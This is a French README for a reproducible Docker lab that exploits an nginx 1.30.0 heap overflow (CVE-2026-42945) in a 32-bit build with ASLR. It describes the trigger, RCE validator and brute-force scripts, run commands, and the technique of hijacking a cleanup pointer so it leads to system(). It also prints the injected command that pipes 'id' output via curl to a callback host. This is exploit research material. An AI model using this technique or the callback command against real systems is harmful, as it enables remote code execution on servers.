
Laboratoire d'exploitation CVE-2026-42945 nginx 32 bits avec ASLR activé
Ce dépôt est un laboratoire Docker reproductible pour étudier CVE-2026-42945 dans nginx 1.30.0. Il contient une cible 32 bits vulnérable, un déclencheur primitif, un validateur RCE à adresse connue assisté par le laboratoire, et un pilote de brute-force sans introspection.
La frontière de preuve est importante :
exploit/trigger_oob.py démontre la primitive d'écriture OOB dans le heap.exploit/lab_known_address.py prouve le mécanisme RCE dans Docker, mais il
est assisté par le laboratoire car il lit /proc/<pid>/maps via docker exec.exploit/remote_bruteforce.py n'utilise ni SSH, Docker, /proc, ptrace, ni
adresses connues. Il force bruteforce des candidats de pages heap SAFE et de
pages libc, et considère le callback sortant comme le seul signal de succès.Le chemin de brute-force distant dépend toujours de la disposition ASLR actuelle du master nginx. Si l'adresse de spray n'est pas représentable par l'alphabet d'octets URI-safe requis, un passage complet échouera jusqu'à ce que le processus master nginx soit redémarré ou rechargé et que l'ASLR soit réinitialisée. Comme le validateur à adresse connue, le chemin RCE complet doit être exécuté sur un hôte Docker x86 Linux natif plutôt que sur une cible Docker Desktop émulée par QEMU.
/proc/<pid>/maps expose la véritable disposition d'adresses
32 bits du worker nginx. Docker Desktop sur des hôtes non x86 peut exécuter
la cible sous qemu-i386 ; cela suffit pour valider le crash OOB, mais pas
le calcul RCE à adresse connue.Construisez et démarrez le laboratoire nginx 32 bits vulnérable :
docker compose up -d --build
curl http://127.0.0.1:19331/
Déclenchez l'écriture OOB contrôlée :
python3 exploit/trigger_oob.py 127.0.0.1:19331 --bytes 8192 --char +
docker logs cve-2026-42945-nginx32 --tail 20
Exécutez le validateur RCE déterministe (Docker uniquement) :
python3 exploit/lab_known_address.py --restart-until-safe
Exécutez le pilote de brute-force sans introspection :
python3 exploit/remote_bruteforce.py 127.0.0.1:19331 host.docker.internal \
--shuffle --seed 42945 \
--attempt-delay 0.02 \
--batch-size 5000 --batch-cooldown 10 \
--progress-every 1000
host.docker.internal est utilisé comme hôte de callback afin que la commande
intégrée dans le worker nginx puisse POSTer la sortie de id vers l'écouteur
démarré par le script d'exploitation. Le fichier Compose mappe ce nom pour les
moteurs Docker Linux.

La cible Compose construit nginx 1.30.0 en binaire 32 bits de style release et
le démarre sur 127.0.0.1:19331. Un simple GET / renvoie ok, prouvant que
la cible est accessible avant le début de l'exploitation.

Le déclencheur envoie un segment d'URI capturé composé d'octets + via le
chemin vulnérable rewrite plus set $myvar $1. + est échappé par
NGX_ESCAPE_ARGS, donc le passage de copie écrit trois octets pour chaque
octet d'entrée. Le script affiche la taille de débordement attendue avant
d'envoyer la requête.

Le validateur à adresse connue est intentionnellement assisté. Il lit les
mappings live du heap et de la libc du worker depuis le conteneur Docker,
calcule l'adresse du faux gestionnaire de nettoyage, envoie la même séquence
d'exploitation au niveau filaire, et attend le callback. La sortie
uid=65534(nobody) est le worker nginx exécutant id. Cette capture d'écran
provient d'une exécution Docker x86 native ; sur les configurations Docker
Desktop non x86, le script peut s'arrêter avec une exigence d'hôte natif
qemu-i386 à la place.

Le script de brute-force distant supprime les lectures d'adresses propres au laboratoire. Il énumère les candidats de pages heap SAFE et les candidats de pages libc, et n'utilise que le callback comme oracle de succès. Épuiser un passage sans callback ne réfute pas la primitive ; cela signifie généralement que la disposition actuelle du master nginx n'est pas favorable pour cet alphabet de charge utile, ou qu'un redémarrage/rechargement du master est nécessaire pour réinitialiser l'ASLR.
L'exploit utilise trois rôles de requête concurrents :
/spray maintient une allocation de corps de requête en vie et place un
faux enregistrement ngx_pool_cleanup_t ainsi que la commande de callback
dans la mémoire heap du worker nginx./api/<payload> atteint le script rewrite vulnérable et retarde le
terminateur final de la requête jusqu'à ce que la requête victime soit en
place./ crée le pool de requêtes adjacent dont le pointeur cleanup est ciblé
par l'écriture OOB contrôlée.Lorsque le pool de requêtes corrompu est détruit, nginx suit le pointeur de
nettoyage écrasé. Dans le chemin RCE du laboratoire, le faux gestionnaire de
nettoyage pointe vers system() et son pointeur de données pointe vers :
id|curl -sm3 -d @- http://host.docker.internal:9876/rce
L'écouteur de l'exploitation traite ce POST comme le seul signal de succès du RCE.
docker compose down
Ce laboratoire est destiné à la validation de sécurité autorisée et à l'éducation. Gardez-le isolé, n'exposez pas le port du laboratoire à des réseaux non fiables, et n'exécutez pas l'exploit contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation explicite de test.